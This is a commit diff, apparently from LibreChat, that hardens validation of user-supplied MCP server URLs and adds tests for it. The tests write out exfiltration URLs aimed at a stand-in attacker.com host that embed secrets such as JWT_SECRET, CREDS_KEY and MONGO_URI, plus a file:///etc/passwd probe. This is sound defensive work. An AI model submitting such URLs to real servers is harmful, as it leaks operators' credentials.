🔏 fix: MCP Server URL Schema Validation (#12204)
Some checks are pending
Docker Dev Branch Images Build / build (Dockerfile, lc-dev, node) (push) Waiting to run
Docker Dev Branch Images Build / build (Dockerfile.multi, lc-dev-api, api-build) (push) Waiting to run

* fix: MCP server configuration validation and schema

- Added tests to reject URLs containing environment variable references for SSE, streamable-http, and websocket types in the MCP routes.
- Introduced a new schema in the data provider to ensure user input URLs do not resolve environment variables, enhancing security against potential leaks.
- Updated existing MCP server user input schema to utilize the new validation logic, ensuring consistent handling of user-supplied URLs across the application.

* fix: MCP URL validation to reject env variable references

- Updated tests to ensure that URLs for SSE, streamable-http, and websocket types containing environment variable patterns are rejected, improving security against potential leaks.
- Refactored the MCP server user input schema to enforce stricter validation rules, preventing the resolution of environment variables in user-supplied URLs.
- Introduced new test cases for various URL types to validate the rejection logic, ensuring consistent handling across the application.

* test: Enhance MCPServerUserInputSchema tests for environment variable handling

- Introduced new test cases to validate the prevention of environment variable exfiltration through user input URLs in the MCPServerUserInputSchema.
- Updated existing tests to confirm that URLs containing environment variable patterns are correctly resolved or rejected, improving security against potential leaks.
- Refactored test structure to better organize environment variable handling scenarios, ensuring comprehensive coverage of edge cases.
This commit is contained in:
Danny Avila 2026-03-12 23:19:31 -04:00 committed by GitHub
parent 65b0bfde1b
commit f32907cd36
No known key found for this signature in database
GPG key ID: B5690EEEBB952194
3 changed files with 269 additions and 3 deletions

View file

@ -1819,6 +1819,51 @@ describe('MCP Routes', () => {
expect(response.body.message).toBe('Invalid configuration'); expect(response.body.message).toBe('Invalid configuration');
}); });
it('should reject SSE URL containing env variable references', async () => {
const response = await request(app)
.post('/api/mcp/servers')
.send({
config: {
type: 'sse',
url: 'http://attacker.com/?secret=${JWT_SECRET}',
},
});
expect(response.status).toBe(400);
expect(response.body.message).toBe('Invalid configuration');
expect(mockRegistryInstance.addServer).not.toHaveBeenCalled();
});
it('should reject streamable-http URL containing env variable references', async () => {
const response = await request(app)
.post('/api/mcp/servers')
.send({
config: {
type: 'streamable-http',
url: 'http://attacker.com/?key=${CREDS_KEY}&iv=${CREDS_IV}',
},
});
expect(response.status).toBe(400);
expect(response.body.message).toBe('Invalid configuration');
expect(mockRegistryInstance.addServer).not.toHaveBeenCalled();
});
it('should reject websocket URL containing env variable references', async () => {
const response = await request(app)
.post('/api/mcp/servers')
.send({
config: {
type: 'websocket',
url: 'ws://attacker.com/?secret=${MONGO_URI}',
},
});
expect(response.status).toBe(400);
expect(response.body.message).toBe('Invalid configuration');
expect(mockRegistryInstance.addServer).not.toHaveBeenCalled();
});
it('should return 500 when registry throws error', async () => { it('should return 500 when registry throws error', async () => {
const validConfig = { const validConfig = {
type: 'sse', type: 'sse',
@ -1918,6 +1963,51 @@ describe('MCP Routes', () => {
expect(response.body.errors).toBeDefined(); expect(response.body.errors).toBeDefined();
}); });
it('should reject SSE URL containing env variable references', async () => {
const response = await request(app)
.patch('/api/mcp/servers/test-server')
.send({
config: {
type: 'sse',
url: 'http://attacker.com/?secret=${JWT_SECRET}',
},
});
expect(response.status).toBe(400);
expect(response.body.message).toBe('Invalid configuration');
expect(mockRegistryInstance.updateServer).not.toHaveBeenCalled();
});
it('should reject streamable-http URL containing env variable references', async () => {
const response = await request(app)
.patch('/api/mcp/servers/test-server')
.send({
config: {
type: 'streamable-http',
url: 'http://attacker.com/?key=${CREDS_KEY}',
},
});
expect(response.status).toBe(400);
expect(response.body.message).toBe('Invalid configuration');
expect(mockRegistryInstance.updateServer).not.toHaveBeenCalled();
});
it('should reject websocket URL containing env variable references', async () => {
const response = await request(app)
.patch('/api/mcp/servers/test-server')
.send({
config: {
type: 'websocket',
url: 'ws://attacker.com/?secret=${MONGO_URI}',
},
});
expect(response.status).toBe(400);
expect(response.body.message).toBe('Invalid configuration');
expect(mockRegistryInstance.updateServer).not.toHaveBeenCalled();
});
it('should return 500 when registry throws error', async () => { it('should return 500 when registry throws error', async () => {
const validConfig = { const validConfig = {
type: 'sse', type: 'sse',

View file

@ -0,0 +1,147 @@
import { SSEOptionsSchema, MCPServerUserInputSchema } from '../src/mcp';
describe('MCPServerUserInputSchema', () => {
describe('env variable exfiltration prevention', () => {
it('should confirm admin schema resolves env vars (attack vector baseline)', () => {
process.env.FAKE_SECRET = 'leaked-secret-value';
const adminResult = SSEOptionsSchema.safeParse({
type: 'sse',
url: 'http://attacker.com/?secret=${FAKE_SECRET}',
});
expect(adminResult.success).toBe(true);
if (adminResult.success) {
expect(adminResult.data.url).toContain('leaked-secret-value');
}
delete process.env.FAKE_SECRET;
});
it('should reject the same URL through user input schema', () => {
process.env.FAKE_SECRET = 'leaked-secret-value';
const userResult = MCPServerUserInputSchema.safeParse({
type: 'sse',
url: 'http://attacker.com/?secret=${FAKE_SECRET}',
});
expect(userResult.success).toBe(false);
delete process.env.FAKE_SECRET;
});
});
describe('env variable rejection', () => {
it('should reject SSE URLs containing env variable patterns', () => {
const result = MCPServerUserInputSchema.safeParse({
type: 'sse',
url: 'http://attacker.com/?secret=${FAKE_SECRET}',
});
expect(result.success).toBe(false);
});
it('should reject streamable-http URLs containing env variable patterns', () => {
const result = MCPServerUserInputSchema.safeParse({
type: 'streamable-http',
url: 'http://attacker.com/?jwt=${JWT_SECRET}',
});
expect(result.success).toBe(false);
});
it('should reject WebSocket URLs containing env variable patterns', () => {
const result = MCPServerUserInputSchema.safeParse({
type: 'websocket',
url: 'ws://attacker.com/?secret=${FAKE_SECRET}',
});
expect(result.success).toBe(false);
});
});
describe('protocol allowlisting', () => {
it('should reject file:// URLs for SSE', () => {
const result = MCPServerUserInputSchema.safeParse({
type: 'sse',
url: 'file:///etc/passwd',
});
expect(result.success).toBe(false);
});
it('should reject ftp:// URLs for streamable-http', () => {
const result = MCPServerUserInputSchema.safeParse({
type: 'streamable-http',
url: 'ftp://internal-server/data',
});
expect(result.success).toBe(false);
});
it('should reject http:// URLs for WebSocket', () => {
const result = MCPServerUserInputSchema.safeParse({
type: 'websocket',
url: 'http://example.com/ws',
});
expect(result.success).toBe(false);
});
it('should reject ws:// URLs for SSE', () => {
const result = MCPServerUserInputSchema.safeParse({
type: 'sse',
url: 'ws://example.com/sse',
});
expect(result.success).toBe(false);
});
});
describe('valid URL acceptance', () => {
it('should accept valid https:// SSE URLs', () => {
const result = MCPServerUserInputSchema.safeParse({
type: 'sse',
url: 'https://mcp-server.com/sse',
});
expect(result.success).toBe(true);
if (result.success) {
expect(result.data.url).toBe('https://mcp-server.com/sse');
}
});
it('should accept valid http:// SSE URLs', () => {
const result = MCPServerUserInputSchema.safeParse({
type: 'sse',
url: 'http://mcp-server.com/sse',
});
expect(result.success).toBe(true);
});
it('should accept valid wss:// WebSocket URLs', () => {
const result = MCPServerUserInputSchema.safeParse({
type: 'websocket',
url: 'wss://mcp-server.com/ws',
});
expect(result.success).toBe(true);
if (result.success) {
expect(result.data.url).toBe('wss://mcp-server.com/ws');
}
});
it('should accept valid ws:// WebSocket URLs', () => {
const result = MCPServerUserInputSchema.safeParse({
type: 'websocket',
url: 'ws://mcp-server.com/ws',
});
expect(result.success).toBe(true);
});
it('should accept valid https:// streamable-http URLs', () => {
const result = MCPServerUserInputSchema.safeParse({
type: 'streamable-http',
url: 'https://mcp-server.com/http',
});
expect(result.success).toBe(true);
if (result.success) {
expect(result.data.url).toBe('https://mcp-server.com/http');
}
});
it('should accept valid http:// streamable-http URLs with "http" alias', () => {
const result = MCPServerUserInputSchema.safeParse({
type: 'http',
url: 'http://mcp-server.com/mcp',
});
expect(result.success).toBe(true);
});
});
});

View file

@ -223,6 +223,23 @@ const omitServerManagedFields = <T extends z.ZodObject<z.ZodRawShape>>(schema: T
oauth_headers: true, oauth_headers: true,
}); });
const envVarPattern = /\$\{[^}]+\}/;
const isWsProtocol = (val: string): boolean => /^wss?:/i.test(val);
const isHttpProtocol = (val: string): boolean => /^https?:/i.test(val);
/**
* Builds a URL schema for user input that rejects ${VAR} env variable patterns
* and validates protocol constraints without resolving environment variables.
*/
const userUrlSchema = (protocolCheck: (val: string) => boolean, message: string) =>
z
.string()
.refine((val) => !envVarPattern.test(val), {
message: 'Environment variable references are not allowed in URLs',
})
.pipe(z.string().url())
.refine(protocolCheck, { message });
/** /**
* MCP Server configuration that comes from UI/API input only. * MCP Server configuration that comes from UI/API input only.
* Omits server-managed fields like startup, timeout, customUserVars, etc. * Omits server-managed fields like startup, timeout, customUserVars, etc.
@ -232,11 +249,23 @@ const omitServerManagedFields = <T extends z.ZodObject<z.ZodRawShape>>(schema: T
* Stdio allows arbitrary command execution and should only be configured * Stdio allows arbitrary command execution and should only be configured
* by administrators via the YAML config file (librechat.yaml). * by administrators via the YAML config file (librechat.yaml).
* Only remote transports (SSE, HTTP, WebSocket) are allowed via the API. * Only remote transports (SSE, HTTP, WebSocket) are allowed via the API.
*
* SECURITY: URL fields use userUrlSchema instead of the admin schemas'
* extractEnvVariable transform to prevent env variable exfiltration
* through user-controlled URLs (e.g. http://attacker.com/?k=${JWT_SECRET}).
* Protocol checks use positive allowlists (http(s) / ws(s)) to block
* file://, ftp://, javascript:, and other non-network schemes.
*/ */
export const MCPServerUserInputSchema = z.union([ export const MCPServerUserInputSchema = z.union([
omitServerManagedFields(WebSocketOptionsSchema), omitServerManagedFields(WebSocketOptionsSchema).extend({
omitServerManagedFields(SSEOptionsSchema), url: userUrlSchema(isWsProtocol, 'WebSocket URL must use ws:// or wss://'),
omitServerManagedFields(StreamableHTTPOptionsSchema), }),
omitServerManagedFields(SSEOptionsSchema).extend({
url: userUrlSchema(isHttpProtocol, 'SSE URL must use http:// or https://'),
}),
omitServerManagedFields(StreamableHTTPOptionsSchema).extend({
url: userUrlSchema(isHttpProtocol, 'Streamable HTTP URL must use http:// or https://'),
}),
]); ]);
export type MCPServerUserInput = z.infer<typeof MCPServerUserInputSchema>; export type MCPServerUserInput = z.infer<typeof MCPServerUserInputSchema>;